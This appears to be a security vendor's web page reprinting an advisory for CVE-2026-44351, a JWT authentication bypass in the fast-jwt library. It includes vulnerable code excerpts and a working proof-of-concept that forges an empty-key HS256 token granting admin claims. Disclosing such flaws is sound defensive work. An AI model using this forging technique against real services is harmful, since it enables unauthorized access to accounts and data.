Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44351 — fast-jwt

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-1391 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release [email protected].

Preconditions

For this issue to occur the following MUST ALL be true:

1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))

2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue

3. The library configuration must allow HMAC signatures. This is the default for the library.

4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.

5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

```js

function prepareKeyOrSecret(key, isSecret) {

if (typeof key === 'string') {

key = Buffer.from(key, 'utf-8')

}

return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check

}

```

src/verifier.js async key-resolver flow (lines 429-468):

```js

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {

...

if (typeof currentKey === 'string') {

currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)

} else if (!(currentKey instanceof Buffer)) {

return callback(... 'string or buffer'...)

}

try {

const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)

// detectPublicKeyAlgorithms('') hits the !publicKeyPemMatch && !X509

// branch → returns hsAlgorithms = ['HS256','HS384','HS512']

if (validationContext.allowedAlgorithms.length) {

checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)

} else {

validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned

}

currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])

// → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently

verifyToken(currentKey, decoded, validationContext)

}

})

```

src/crypto.js verifySignature (lines 286-291):

```js

if (type === 'HS') {

try {

return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)

} catch { return false }

}

```

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists *only* on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

```js

// package.json: { "type": "module" }

// npm i fast-jwt

import { createVerifier } from 'fast-jwt'

import * as crypto from 'node:crypto'

function b64url(buf) {

return Buffer.from(buf).toString('base64')

.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')

}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.

const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))

const payload = b64url(JSON.stringify({

sub: 'attacker', admin: true,

iat: Math.floor(Date.now() / 1000),

exp: Math.floor(Date.now() / 1000) + 60

}))

const input = ${header}.${payload}

const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())

const forgedToken = ${input}.${signature}

// Realistic JWKS-style verifier - looks up kid in a key map and falls back

// to '' when the kid is unknown (a widely-used JS idiom).

const verifier = createVerifier({

key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')

})

console.log(await verifier(forgedToken))

```

Output on [email protected]:

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-44351 is classified as CWE-1391: Use of Weak Credentials. The product uses weak credentials (such as a default key or hard-coded password) that can be calculated, derived, reused, or guessed by an attacker.

Affected software

CVE-2026-44351 is recorded against 2 packages.

  • fast-jwt
  • unknown

Timeline and source

Published on 6 May 2026 and last revised on 14 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

fast-jwt has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-1391: Use of Weak Credentials) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-1391
Public Exploit ✅ No
Source NVD
Published 2026-05-06
Updated 2026-08-20
Modified 2026-05-14
Fix URL N/A

Affected Packages

Software From version Fixed in
fast-jwt
unknown

Similar Threats

Exploit Protection

Are you running fast-jwt?

CVE-2026-44351 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-44351 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026